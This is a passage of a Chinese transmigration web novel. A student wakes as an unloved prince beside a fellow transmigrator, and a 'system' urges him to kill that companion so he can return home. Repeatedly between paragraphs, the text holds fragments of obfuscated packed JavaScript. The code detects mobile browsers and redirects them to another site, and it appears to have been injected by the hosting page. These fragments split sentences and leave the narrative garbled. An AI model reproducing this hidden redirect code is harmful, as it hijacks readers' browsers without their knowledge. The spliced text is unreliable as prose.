《和学神双穿,当废物挂件》 1. 穿越 01 指腹一片温润的触感,冷雨零落。 江序行蹙着双眉,眼眸紧闭着,一只手下意识紧了紧身上的小袄,另一只手则不肯从身侧唯一的热源上挪开,意犹未尽地摸了摸。 紧实,没有一丝赘余,随着他的动作似乎还轻颤了下。 本应该是天清气朗的一天,江序行正百无聊赖地站在学校操场上,等待新生发言。 “一个破开学典礼,有什么好看的?不如在宿舍睡觉呢。”他眯着狭长眼眸,鸦睫挡住正盛的日光,微微有些不耐烦。 身旁的人还大惊小怪:“小江,你不会没听说过沈问澜吧?我敢说,今天有一半学生,都是冲着学神来的。” 沈问澜。 这名字确实有些熟悉,在唇齿间碾过一遍,江序行想起来了。 沈问澜是C大这一届数学系的高才生,假期的时候他就已经有所耳闻,各种国家奖项拿到手软,典型的别人家的孩子,更是校方的掌中宝。 “不就是书呆子。” 江序行轻嗤一声,抬手挡住有些灼热刺目的光线,正想仔细看看台上那位所谓的学神究竟是怎样一副尊容。 下一刻,天旋地转。 刺痛从右手臂传来,江序行不自觉地哼了两声,终于费力睁开双眼,冷风也从窗间卷席而来,让他不禁打了个哆嗦,也清醒了不少。 这是什么鬼地方? 眼前是一间破败的屋子,四处挂着蛛网,在明灭的光线之下显得有些诡异,不远处正对着他的是一尊佛像,神祇闭着双眼,大概是因为太久未曾修缮,露出了镀金层下斑驳的石底色。 不是…… 他刚才不是还在学校里参加典礼吗? 江序行有一连串的疑问不知道该问谁,然而雪上加霜的是,右手臂传来了阵痛。 来不及查看伤情,刹那间,无数记忆碎片争先恐后地涌进脑海,陌生的画面接连浮现在眼前。 他这是穿进了一本架空历史小说中,原主与他同名,恰好也叫江序行,是燕国皇室不受宠的六皇子。 他的生母只是一个与皇帝荒唐一夜的官女子,在生下江序行之后,就撒手人寰。 没有母妃庇佑,也没有背景可倚靠,江序行自然就成为了宫中可有可无的存在。 因此在这本小说世界里,江序行也只不过是一个背景板。 谁料几天前东宫夜宴,前殿竟然意外走水,宫人慌忙奔走,把他这个一向没有存在感的六皇子遗忘了个彻底。 大火烧断了殿中的横梁,可怜的原主也被困在了火场角落里。 在即将昏厥之际,原主终于被母亲从前的侍卫发现,侍卫将他带了出去,从隐秘的小径离开,没有引起任何人的注意。 隐约间,原主似乎看见了一道玄衣身影从另一侧出现,手中还执着一把短刀,朝太子寝殿的方向飞速掠去,然后他就非常没用地昏过去了。 一觉醒来,芯子就变成了自己这个穿越者。 屋顶忽然落下一滴雨,灌进了江序行的脖颈,也唤回了他混乱的思绪。 想通了自己现在究竟是怎样的处境,江序行只想质问一句,自己怎么就这么莫名其妙穿书了? 虽说江序行不幸和这个倒霉蛋六皇子同名,但他之前只看过这本书的简介,根本不知道书中讲了些什么。 再者,江序行也不觉得自己是个绝世天才,穿进书中就能搅动风云。 右臂的刺痛仿佛加剧了,江序行一张漂亮精致的脸不禁狰狞起来,凤眸眯成了一条缝,在心中暗暗吐槽。 我都这么没用了,居然还选我,这也太不公平了吧? 不过,现在小说似乎都流行双穿,若是有人能陪着他一起就好了。 江序行龇牙咧嘴地想。 最好还是个大神,能带着他一键通关的那种,他就负责嘘寒问暖,以及貌美如花。 正在神游时,江序行忽然察觉到有一束冷冷的目光,从不远处盯着自己。 整个右半边身体都因疼痛而略显麻木,江序行有些费劲地转过头,居然看到自己身侧还半躺着一个衣襟半敞的男人。 烛火昏暗,看不清对方的脸。 但江序行仍觉得他身姿绰约,似乎生得不错。 正打量着,对方忽然开口:“你摸够了没有?” 嗓音沙哑,还微微带了点磁性。 江序行诧异,正寻思着摸什么,这才发觉自己的右手正搭在男子的腹部,无意识地摩挲着。 “……” 原来,刚才半梦半醒间那个十分好摸的“热源”竟然是人家的……腹肌? 江序行顿时生出些心虚,不过还是挑了一下眉头,并没有挪开手。 一来,他现在控制不了右臂。 二来,这人虽然平白被自己摸了两下,但都是大男人,又不会掉块肉,有必要说得这么欠揍吗? “对付着摸两下什么够不够的,你也不怎么样。”江序行违心开口,却又忍不住瞟了两眼。 腹肌紧实,恰到好处,在烛火的映照下更显得线条流畅,引人遐想。 宋澜安沉默半晌,大概也是被他的不要脸给镇住了,而后才毫不留情地将江序行的胳膊扫到一边。 “嘶,痛痛痛!” 没想到这人如此粗鲁,江序行觉得自己整个右臂都要断了,短促地抽着气。 正在这时,另一边忽然“扑通”一声。 江序行看过去,是原主记忆之中那个忠心耿耿的侍卫阿七,口吐鲜血倒了下去。 江序行虽然对这个阿七没什么感情,但也挣扎着扑过去了:“阿七,你别死啊,你死了我怎么回去?” 这侍卫也是脑子有问题,把一个手无寸铁的皇子送出宫门,无异于将家禽送还于山野。 怎么想都行不通吧? 阿七眼底闪过一丝沉痛,拼尽最后的力气摇了摇头,道:“殿下,您现在万万不可回皇宫,东宫忽然走水,其中必定有人设计,宫闱生乱,您只有在宫外才能安生度日。” 一句话,他说得断断续续,一双手却紧紧攥着江序行的衣角,似乎这样就能阻止他想要回宫的心。 江序行听得一头雾水,更多的是茫然。 陌生的世界,不受宠的在逃皇子,身无分文,一无所有,天崩开局,他要怎么活下去? 然而不容阿七再多说一句,下一秒,他就彻底倒在地上咽了气,死不瞑目。 就相当于游戏引导,属于他的剧情结束了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030967|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江序行瘫坐在一旁失神,不知道接下来要何去何从。 一片阴影落下,还不等江序行反应,一只骨节分明的手已经利落地将侍卫的尸体翻过来,从口袋中翻出一袋银锭子,还有两片金叶子,丝毫没有避讳。 江序行一时间眼睛都看直了。 这是他的启动资金啊! “那个,这好像是我的侍卫。” 江序行眼巴巴地瞧着这人,此刻他的一张脸终于在昏暗的烛火下被照明了几分,即便染了些脏污,他也依旧觉得对方莫名有些熟悉。 脑海中闪过细碎的画面,江序行将面前的人和原主记忆中的人对上了号。 他不就是皇宫之中另一颗,爹不疼娘不爱的小白菜吗? 宋澜安,被敌国送来的质子,自从来到燕国,就独居在皇宫中的一隅。 即便是原主,也只见过这位质子寥寥几次,印象中总是一副文弱老实、没有攻击力的模样,任由其他皇子轻蔑。 说起来,宋澜安的处境还要更尴尬一些。 但无论如何,似乎都与眼前这个人大相径庭。 宋澜安并未理会江序行,将侍卫腰间的短刀一并拔走,随后起身打量了一番。 这座破庙连风雨都难以遮挡,更别说两个大活人。 破损的佛像无喜无悲地俯视着众生。 神爱世人,终了却连自己都难以庇护。 挪开目光,宋澜安心道,要先离开这里。 将衣衫整理好,他抬步向庙外走去。 “喂,我和你说话呢!”江序行见他要走,忙挣扎着起身,三两步跟了上去,“宋澜安,我知道你,你拿了我的银子,就得带我一起走!” 现如今江序行没有去处,也没有想法。 他一睁开眼,见到的第一个人就是宋澜安,即便现在这人看着有些可疑,他也只好碰碰运气了。 走在前面的人只施舍来一抹余光,犹如藏入鞘中的冷锋:“不怕死,那就跟着。” 江序行:“……” 真是没想到,在古代也能遇到BKing啊! 庙外的雨几乎停了。 夜色如洗,一轮圆月显露出来,柔和的月光洒在前路,江序行在泥泞的土路里深一脚浅一脚地跟着。 宋澜安身量高大,看着很有安全感,然而江序行完全无法融入现况。 “我想回家……” 他仰起头,眼中划过一丝绝望。 原本还觉得开学典礼很烦,没想到现在直接跑来玩命了。 如果老天再给他一次机会,江序行一定选择好好听学神演讲。 他碎碎念着跟在宋澜安身后,仗着本地土著听不懂他在讲什么,缅怀了一下自己宿舍里的零食和空调。 若是一直被困在这本书中,岂不是永远都见到这些东西了? 下一秒,他撞上了一堵人墙。 “嘶——” 江序行如遭雷劈,丝毫没有注意到面前的人已经停住了脚步。 “你干嘛忽然停下?”他眼尾染上一丝红意,用尚且完好的左手揉了揉额角。 只见宋澜安身形疾转,手中的短刀已经出鞘,在江序行全然没有反应过来的时候,抵上了他的喉咙。 2. 暗号 02 江序行的心顿时凉了半截,下意识后退了半步,微微避开泛着寒光的刀尖。 难不成是刚才他念念叨叨,让宋澜安觉得烦了? 那也不至于动刀吧! “我不说话了。” 江序行抬手,在嘴上比了个拉拉链的动作,半晌才反应过来,对方应该看不懂,眼底划过懊恼。 见他这副神情,宋澜安蹙起眉,不过很快就恢复了平静无波,如同一枚石子击入池中。 “江序行。” “在!” “复指数形式与三角函数的关系?” 在生死的威胁下,江序行大脑有一瞬间的短路,不过还是下意识地回答:“对于任何实数必存在,e^ix=cos(x)+isin(x)。其中e是自然对数的底数,约等于2.71828……” 宋澜安:“欧拉恒等式?” 江序行:“e^iπ+1=0……” 宋澜安的语速极快,江序行几乎没有思考的时间,恍惚间还以为自己回到了高中课堂上,被唾沫横飞的数学老头叫到讲台上回答问题。 一番问答过后,宋澜安陷入了沉默。 江序行则直接扑了上去,抱住他的腰,喜悦道:“大佬!原来你也是穿越的啊!” 怪不得宋澜安与印象中的柔弱质子截然不同,原来同自己一样,早就换了芯子。 来到异世中的不安霎时间云开雾散,江序行忍不住在大佬的腰间蹭了蹭。 腹肌结实,刚才已经亲身考察过了。 心中安全感满满,这回他可以摆烂了! 菜菜,求带! 宋澜安抬手,将身上的人形挂件揭下来,眉眼间多了几分不耐烦。 不过手中的短刀却是归了鞘。 刚才江序行在他身后念叨了一路想吹空调,十几次好想吃北京烤鸭,想吃金枪鱼寿司…… 来到这个世界几日,宋澜安几乎快要忘记这些,以为这一切只不过是一场诡谲的梦。 而此刻,江序行似乎才反应过来,挠了挠脑门:“不过大佬,你刚才问我那么难的问题,要是我回答不上来怎么办?” 宋澜安问得又急又突然,也就好在江序行平时成绩不差,否则换个人来,未必能顺利对上这暗号。 话音落下,头顶传来宋澜安的嗤笑:“如果这么简单的问题都回答不上,还是死了比较好。” 江序行:“……” 宋澜安看着江序行,莹白的月华在他的眼底流转,显得格外鬼气森森:“我不要这么蠢的队友。” 江序行后背一凉,扯出一抹惨淡的笑,试探道:“大佬,你刚刚应该是在开玩笑吧?” 好歹也是在法治社会长大的,杀人……未免太遥远了些。 他并没有看到宋澜安眼底一闪而过的厉色。 来到这个世界的几日,宋澜安已经知道了这里的处世准则。 心慈手软,害死的只会是自己。 “我有名字,别叫我大佬。”宋澜安重新转身,警告道,“要是连累我露出破绽,我会毫不犹豫杀了你。” 江序行被他的话吓成鹌鹑,见他走远,只得亦步亦趋跟上。 虽然告诫的方式粗暴了些,但江序行也清楚,宋澜安没说错,要是让这里的人知道他们是“借尸还魂”,恐怕会被活活烧死。 “滴滴。” 微弱的电流声响起,江序行一时间以为自己听错了,不过很快,面前就出现了一块莹蓝色的透明屏幕,上面还带着一个没有读取完的进度条。 【正在加载中……】 江序行先是一顿,随即迅速反应过来,凤眸中闪过雀跃。 这应该就是他穿越而来的金手指了! 他就说嘛,莫名其妙穿越怎么会没有特殊的外力襄助? 蓝色的进度条读取到了尽头,江序行满是期待地看着屏幕,半晌,一个声音在脑海中响起。 【宿主您好,我是系统502,检测到宿主于现实误入以小说为蓝本的未知世界,系统绑定成功!】 自称“系统”的声音冰冷机械,江序行挑了下眉梢。 还以为系统会是那种很活泼的性格,没想到冷冰冰的,只是一个任务提醒。 【既然你说我是误入的,那就快点把我弄回去。】 江序行现在是一秒钟都不想呆在这破荒郊野外了,原主的身份就潜藏着无限的危机,更别说身边同行的人,似乎也不怎么欢迎他。 【抱歉,我们没有权限将您直接传送回现实世界,需要通过宿主自己的努力。】 江序行轻啧一声。 似乎察觉到了江序行的不耐烦,系统连忙补充: 【宿主误入本世界并不是我们的操作失误,而是因为时空乱流,系统的存在就是为了给您提供帮助,送您回到原世界。】 即便听上去有些甩锅的嫌疑,但想到能够回家…… 江序行不可能不心动。 就在几个小时前,他还是家中众星捧月般的存在,家境殷实,父母宠爱。 然而现在的他却穷困潦倒,不得不忍痛带伤上路。 【行吧,那你说,我要怎么配合,才能早点回家?】 于是,接下来的几分钟,系统平静无波地用图文并茂的方式,给江序行讲解了一遍。 502只是系统的代号,而系统的正式名称叫作“回家的诱惑”,专门帮忙各种误入小说世界的人回家。 江序行的任务只有一个,那就是: 【杀掉同世界的另一个穿越者——宋澜安,纠正世界线,这样我们就能开启权限,送您回家。】 【任务没有时间限制,您可以随意发挥,在关键时刻,系统会为您提供意想不到的帮助。】 听上去似乎还不错。 但江序行迟疑地看着面前的男人,宽肩窄腰,身体的每一个部位都充斥着力量感,似乎捏死他就如同掐死一只蚂蚁那么简单。 何况经过刚才的一番对话,他已经断定宋澜安的头脑与心智都极其不简单。 江序行顿时想起一个常用的表情包,头顶问号。 【不是,就凭我吗?】 他对上宋澜安…… 恐怕只有求饶的份吧! 半刻之前,对方还是自己的救命稻草,恨不得紧紧抓住,眨眼之间,就成了来自地狱的催命符。 【宿主想要回到现实世界,目前只有这一种途径。】 几个蓝色箭头齐齐在半空中指向宋澜安,虽然知道旁人应该看不到这荒谬的一幕,但江序行还是忍不住眯起眼睛。 这场面…… 有点好笑啊。 走出一段距离,江序行在不远处山脚下看到了阑珊灯火。 破庙距离皇宫其实并不远,毕竟以侍卫的状况,恐怕也无法将江序行送出太远,此时天色愈发深了,荒郊野外的清冷与不远处的灯火通明对比鲜明。 江序行一早就察觉了宋澜安的行动路线,沿着水源走一定能够找到人家,所以他们一直在顺着一条小溪前行。 右臂的钝痛让江序行有些麻木,系统在通知了任务之后就消失了,他觉得自己现在快要变成一具行尸走肉。 于是江序行犹豫了两秒,叫住了前面的人:“宋澜安,我们歇一会儿?” 身后的人一路以来都很安静,要不是能听到脚步声不远不近地跟着,宋澜安几乎快要把他忘了。 闻言,宋澜安停住脚步,不耐地转身。 江序行的唇色透着不自然的青白,漂亮妖冶的凤眸也耷拉着,明明是个男子,却令人心中不禁生出几分垂怜。 心中的不快加深,宋澜安斜睨他一眼,蹙着眉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030968|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江序行轻而易举地从他的神情中读出了这一眼的含义—— 麻烦。 但不管宋澜安怎么想,江序行一屁股坐在了溪边的石头上:“我走不动了,再走一步就会暴毙,你要是想把我扔在这里曝尸荒野,你就走吧!” 宋澜安:“……” 走了一路,他并非不累,但他们必须在子时之前进城,找到客栈入住才算稳妥。 江序行见宋澜安无动于衷,便伸手拉住他的袖子:“宋澜安,你也坐吧,正好趁着歇歇脚,咱俩聊聊天?” 宋澜安的短刀就系在腰间,江序行咽了一口唾沫,知道自己现在这个状态,是不可能杀了宋澜安的。 即便想回家的心比什么都迫切,但要杀一个活生生的人,江序行还得做些心理建设。 “聊什么。”宋澜安目光黑沉,语气说不出的冷淡。 江序行则起了兴致:“我刚刚在溪边看过了,原主这副身体和我长得一个模样,你和我一样是穿越来的,那应该也就长成这样。你在现实中也是大学生吗?哪个城市的,什么大学?” 宋澜安将袖子抽出来:“少问没有营养的问题,现实世界的一切你最好快点忘记。” 既然回不去,讨论这些就毫无意义。 江序行无精打采了一下,不过马上找到了新的话题:“那我们接下来要去哪儿?原主的侍卫说不能回宫,但原主这十余年的记忆全都是在宫闱之内,我连外面是什么样子都不知道。” 宋澜安陷入沉思。 他这具身躯的原主,记忆就复杂了许多,燕国皇宫显然不该回,但属于“宋澜安”的国家,此刻也绝对不会欢迎他。 “太长远的事情还不知道,但要想安身立命,得先让熟悉的人相信我们的身份。” 江序行倒是并不担心这一点。 整个皇宫中,还惦记着江序行这位六皇子的,就只有刚才那个侍卫,如今也已经一命呜呼了。 他敢确定,就算皇帝此刻与他迎面走过去,都未必能认出自己是他的便宜儿子。 或许是出于不信任,即便江序行试探多次,宋澜安仍没有说太长远的打算。 “歇也歇了,该上路了。”他抬眸看了眼天色,随即毫不留情地起身朝远处走去,大有一副江序行不跟上,那便分道扬镳的意思。 “诶,等等我啊!” 江序行连忙追上。 宋澜安现如今不仅是金大腿,更是回家的传送符,要是不小心跟丢了,天南海北的连个联系方式都没有,他也别想回家了。 不知走了多久,两人终于抵达了山脚下。 江序行一瘸一拐地跟着,右臂的疼痛弥漫开来,他甚至觉得右半边身体都跟着麻木了。 正在他想要原地躺倒,决定放弃的时候,宋澜安低沉的声音从前面传来:“到了。” 方才看到的远处的灯火,是山脚下的一家客栈,此时还没打烊,店小二倚在破烂腐朽的栈门边打着盹,连两人的出现都全然没有注意到。 骤雨打得客栈门前一片泥泞,江序行有些娇气地皱了下眉头,才纡尊降贵地抬步迈进去:“掌柜的,两间上房。” 客栈掌柜从后面抬了一下脑袋,昏昏欲睡。 原本听到“两间上房”,精明的老眼中闪过一丝光彩。 然而这一打眼,看到面前两人衣衫破烂腌臜,如同在泥地里滚过一圈般,顿时就烦躁地挥了挥手,仿佛在赶两只苍蝇。 “哪儿来的泥腿子,衣服都破烂成这样了,也想住店?” “快滚快滚,别耽误我生意!” 莫名其妙穿越,再加上伤口的阵痛,就令江序行十分烦闷了,闻言更是狠狠皱了皱眉,他上前一步,气势汹汹:“看不起谁呢?开门迎客,你管我们穿成什么样,就算不穿你也管不着啊!” 宋澜安:“……” 3. 队友 03 宋澜安并不想与店家生口角之争,刚要把江序行拉回来,忽然听见“滴”的一声。 眼前的场景如同按下了暂停键。 【年轻的少年啊,迷途的旅人啊,天选之人就是你——】 【我将赐予你无穷无尽的力量,打脸路人甲,走上巅峰!】 一阵中二的开场白,宋澜安的面色黑了几许。 这什么声音? 【宿主你好,我是你的打脸成神系统!从今天开始,本系统将会协助你一路打脸,得到这个世界至高无上的权势,万人加冕成王……】 【停。】 宋澜安无情打断。 自称系统的声音卡了卡,似乎有些委屈。 【宿主,我的开场白还没有讲完,打断别人说话不是一个好习惯。】 宋澜安无视了它的控诉,穿过来的这些天,他一直在尝试寻找系统之类的存在,但是未果。 等了这么久才出现,结果…… 就这? 【你说你是系统,你能帮助我什么?】 【年轻的少年啊,迷途的旅人啊,天选之人就是你——】 【说人话。】 【……】 系统沉默了两秒,最终还是妥协了。 【宿主,我是一个打脸系统。你穿越到这本小说中,拿到的就是龙傲天成神剧本。】 【只要你按照人设来进行打脸逆袭,我就会为你提供异常丰厚的神秘大奖哦~】 以防宋澜安不懂什么叫做“龙傲天”和“打脸逆袭”,系统提供了几本小说让宋澜安参考。 《重生成为废柴质子后,我打脸众人,笑傲天下了》 宋澜安翻开看了几页,就被书中那些话雷了个外焦里嫩。 质子孤傲狷狂地睥睨着众人,眼中三分讥讽四分孤傲五分冷笑:“金鳞不是池中物,一遇风云便化龙!今日你们瞧不起我,来日必定让你们跪地求饶!” ……正常人会这么说话? 宋澜安眉心紧皱,几乎能夹死一只苍蝇。 官方吐槽最为致命。 系统见状,连忙给自己挽尊。 【虽然方式可能不怎么体面,但奖励很丰厚啊!我不仅能让宿主登顶皇位、一统天下,说不定还能送您回到原本的世界哦!】 【任务已刷新,新手任务:打脸客栈老板,成功即可获得神秘大奖!】 这句话落下,时间也恢复了正常的流速。 宋澜安看着怒气冲冲江序行,心念电转,一把把他拉了回来。 “宋澜安,这种情况就不能惯着他,我跟他理论……” “啪!” 宋澜安面无表情地将一枚金叶子拍在桌子上。 江序行和客栈掌柜都震惊了,一动不动地盯着他。 “三十年河东,三十年河西,莫欺少年穷。” 【气势不够!宿主冲呀!】 “……” 两人还愣在原地,宋澜安脸色黑得如同能滴出墨,声音却抬高了些,重复了一遍:“三十年河东,三十年河西,莫欺少年穷!” 气沉丹田,惊起林中飞鸟。 也把门前睡着的店小二吓了一跳。 江序行:“?” 他脑子没问题吧? 江序行的第一反应就是挡住脸,否则马上就要丢了。 【系统奖励已到账,恭喜宿主完成新手任务!】 随着系统通报,宋澜安忽然感觉到袖子一沉,一个有些温热的东西凭空出现。 想必,就是系统所说的奖励了。 客栈老板瞬间笑得一脸褶子,将金叶子接过去,用门牙咬了一下,而后才宝贝地擦了擦揣进怀中:“小二,还不快些招待贵客!天字号上房,两间!” 店小二揉了揉惺忪睡眼,道:“方才您不在的时候,最后一间上房已经被订下了,现在客栈只剩一间地字号房。” 荒郊野岭的,生意还这么火爆? 宋澜安没有多言,只让老板开了一间房,准备热水和好菜,随后就上了楼。 江序行跟在后面,小声学了一句:“三十年河东三十年河西~” 宋澜安回头:“再说你就出去,自己找住处。” 江序行瞬间老实了。 可讲道理,那金叶子本来是他的! 他的! 两人走进地字号房,客栈比预想中还要破旧,刚下过雨,房中的空气都是潮湿的,散发着一股若隐若现的霉味。 江序行耷拉着双眸,鼻子也跟着皱了皱。 今夜不仅要住在这里,还要与宋澜安同住一间房。 很讨厌。 他从小到大还没受过这种委屈。 宋澜安警惕地查探了门外,并未发觉到什么异常,随后拉上了房门。 转过身,宋澜安伸手探向袖中,待到摸出里面是什么东西时,他气笑了。 沉甸甸的手感,还保持着热度,是他从前在现实世界见过的奶茶品牌。 宋澜安的脸色更黑了。 【这就是你所说的,丰厚奖励?】 系统装死。 【这个……客栈老板毕竟不是什么重要角色,所以打脸值比较低,只能在低级奖池里面抽取奖励。】 【宿主如果想要更高额的奖励,就得去打位高权重、能够影响到全书走向的大人物的脸。】 这样说来,似乎也不过分。 宋澜安的面色稍霁:“这个东西,给你了。” 说着将奶茶丢给了江序行。 他从前也不喜欢喝这东西,一喝就睡不着,刚才倒是听到江序行念叨了一路。 江序行原本在发呆,忽然感觉到一个温热的东西扔到自己的身上,差点跳起来。 直到看见了熟悉的奶茶包装,他愣了两秒钟,半晌震惊地抬眸:“哪儿来的?” 宋澜安突然有一种时空错乱的荒谬感,没过多解释,淡淡道:“赶紧喝,别让其他人发现了。” 短暂的震惊过后,江序行也猜出了什么。 他穿越过来都有系统,宋澜安说不定也有,奶茶是现实世界中的东西,无论如何都不可能通过正常的方式出现在这个时代。 不过在这里还能够喝到奶茶,江序行也得到了些许慰藉。 一双眼睛水盈盈地盯着宋澜安,其中盛满了感激:“谢谢你,宋澜安!” 宋澜安不擅长应付这种煽情的场景,况且奶茶不喝也要扔掉,丢给江序行还是丢给垃圾堆,都是一样的结果。 “你的伤口要处理,我去找掌柜的。”说完,宋澜安就转身离开了。 江序行心中生出丝丝愧疚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030969|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他真的要通过终结另一个人生命的方式,才能回家吗? 【是的宿主,你只有这一种方式。】 系统的声音忽然跳出来,江序行被吓了一跳:“你下一次就不能用温和一点的方式出场吗?” 【抱歉宿主。】 算了,和一个冷冰冰的机器人生什么气? 江序行猛喝了一口奶茶,甜腻的香气裹挟着茶叶的清香瞬间在唇齿间蔓延开来,一双凤眸也餍足地眯了眯。 好喝! 半晌,宋澜安带着金疮药回来,江序行已经将奶茶一饮而尽。 饭菜也在这个时候送到,两人匆匆吃完饭,宋澜安将金疮药推到江序行的面前,然后走到床边坐下:“自己上药,明日还要赶路,我睡了。” 江序行右半边身子都不能正常行动,自己上药几乎不可能,于是只能巴巴地凑过去:“宋澜安你帮我上药呗,咱俩顺便聊聊?” “我帮你拿药,只是不希望你拖后腿。”宋澜安蹙眉,拒绝的话已经说出口,却又对上江序行的目光。 可怜,柔弱,不排除演的成分。 但确实令人生不出拒绝的心思。 “……麻烦。” 对视片刻,宋澜安还是接过了金疮药。 看来,宋澜安也没有他自己说的那么冷血嘛。 这么想着,江序行撩开袖子,将瘦弱到苍白的手臂伸到宋澜安面前,小臂到手腕上有一大片烧伤的痕迹。 宋澜安将药粉撒上去,江序行瞬间龇牙咧嘴地低声呼痛。 “忍着点。”任由江序行胸膛因疼痛而起起伏伏,宋澜安始终面不改色,上完了药,道,“荒郊野岭,找到的药粉不是很对症,到了城里再说吧。” 江序行不禁泪目。 他从小到大,还没受过这么重的伤呢。 “宋澜安,你怎么穿越过来一点都不害怕啊?你不是大学生吗?” 害怕? 宋澜安隐瞒了他并非今天穿越而来的事实,不过刚穿进书中的时候,他也没有害怕,只是疑惑,为什么偏偏是他。 在质子宫中生活了几日,他也已经全然适应了这个身份,若不是宫变…… 他应该此刻还在做窝囊质子。 江序行见宋澜安不愿搭理,正了正神色:“万一我们其中一个人,机缘巧合下能够回到现实世界,说不定知道了对方的身份,还能给彼此的家人报个信。” “宋澜安,这很重要!” 宋澜安依旧沉默。 江序行率先开口:“我的真名就叫江序行,是南城大学数学系的学生……你知道南城大学吗?就是南城江滨路1006号的那个。” “是1066号。” 宋澜安下意识纠正道。 话一出口,两个人都愣住了,江序行眼眸亮了起来,抓住宋澜安的手,神色激动:“你怎么知道南大的地址,难道你和我是一个大学的?那你肯定知道沈问澜吧?” 沈问澜是宋澜安在现代的名字。 跟江序行不同,他穿过来,身子和名字都不是自己的。 好在名字里保留了一个“澜”字,令他稍感慰藉。 宋澜安面色不改:“不是,我是隔壁南科大的。你说的沈问澜……” 他顿了顿,眼底闪过一丝怪异,但最终还是道:“是我朋友。” 4. 同床 04 南城科技大学比南城大学的分数还要高一点,和南城大学就隔了一条街,经常被称为南城双璧。 怪不得宋澜安会知道他们学校的位置。 至于沈问澜,江序行只是随口问问,没想到宋澜安还真的认识! 江序行眼波流转,目前看来他和宋澜安在现实世界唯一的交集,就是沈问澜了,宋澜安总是对他这么防备也不行。 不如……? 江序行语出惊人:“缘分啊!” 宋澜安:“?” “其实,我和沈问澜特别熟,我们都是一个话剧社的,一起表演过那个……仲夏夜之梦,他还对我特别照顾,说我很聪明可爱呢!” 宋澜安沉默。 他怎么不知道? 自然是因为,江序行在睁着眼睛说瞎话。 也多亏学校里面到处都流传着这位学神的传说,江序行才知道沈问澜似乎加入过话剧社,否则就连装熟都做不到。 宋澜安神色怪异地看着江序行,然而江序行并没有察觉到,而是继续举证了几点,总结道:“你和沈问澜是朋友,那肯定也是非常善良、友爱、热心、温暖的人!肯定会像他一样照顾我的!” 宋澜安:“……” 没有半个字是和他搭边的。 江序行说得声情并茂,要不是因为他宋澜安就是沈问澜本人,只怕也会相信这些胡编乱造。 当初加入话剧社,不过是因为话剧社的团长和他是一个寝室的,整天到晚在他耳边央求,险些把他催成神经衰弱。 从加入的那天起,他也就只去过两次,帮忙撑个场面而已。 江序行说得口干舌燥,抬眸间看着宋澜安的神情,似乎有些古怪,不知道是信了还是没信。 他心中实在没底,试探着开口:“宋澜安,你听我讲话了没?” 宋澜安:“没。” 江序行心间一梗。 “早点休息吧,明日还要赶路。”宋澜安已经领教了江序行这张胡言乱语的嘴,若是再不制止,不知道还会说出什么惊天地泣鬼神的话来。 宋澜安懒得反驳,不再理会,转身将一只长枕横在中间,将床褥分开:“我睡外面,你睡里面。” 房间里只有一张床,但毕竟是两个大男人,没什么好扭捏的,客栈内十分潮湿,打地铺行不通,不如就这么将就一晚。 宋澜安先前已经洗漱过,翻身上床就准备睡,虽然身上的衣服还是破烂不堪。 没办法,他身量颀长,问过了店家,也没有找到合适的换洗衣裳,只能先凑合一夜再说。 江序行的行动就没这么顺畅了,看着眼前的景象面色微微扭曲了一下,走到屏风后,店小二打来的水已经有些冷了,洗澡显然不现实,只好用左手简单擦擦身体。 江序行也知道荒郊野岭无法挑剔,但让他就这么睡觉,简直比杀了他还要难受! 重新回到床前,宋澜安俨然是已经睡着的模样,看上去似乎毫无防备。 【宿主,现在是一个好时机。】 【趁着宋澜安睡着了,一刀结果了他,你就能回去了。】 江序行又怎么会不知道? 没想到宋澜安这么信任他,居然愿意与他同床共枕。 但那一柄短刀并不在床边,江序行目光掠过整个屋子,都没有看见,应该是被宋澜安贴身带着了,如果贸然出手,只怕还没靠近宋澜安,自己就已经成了刀下亡魂。 江序行一边观察一边思考,忽然宋澜安的声音淡淡响起:“不睡觉就出去。” 这声音听着毫无睡意,江序行被吓了一跳的同时又有些庆幸。 还好刚才他什么都没做。 “睡,现在就睡。”江序行小心翼翼地上了床,在宋澜安身边和衣躺下。 或许是因为刚穿越过来心中不安,又或许是方才那一杯奶茶起了作用,他闭上眼睛,翻来覆去,怎么都难以入眠。 身边人的呼吸倒是渐渐平稳了下来,似乎已经睡了。 “宋澜安?”江序行小声叫了两下他的名字,都没得到回应,这才松口气。 看来这回是真睡着了。 想到宋澜安,江序行也难免失神。 要怎么杀掉宋澜安,才能让他不那么痛苦地走呢? 下毒毒死? 水里溺死? 或者……真的如同系统所说,一刀结束了宋澜安的性命,给他们俩一个解脱? 思及此,江序行忍不住侧目,打量宋澜安。 洗漱过后,这张脸露出了原本的面容,刀削斧凿一般的侧颜在昏暗的光线下显得更加锐利、俊俏,清清冷冷的。 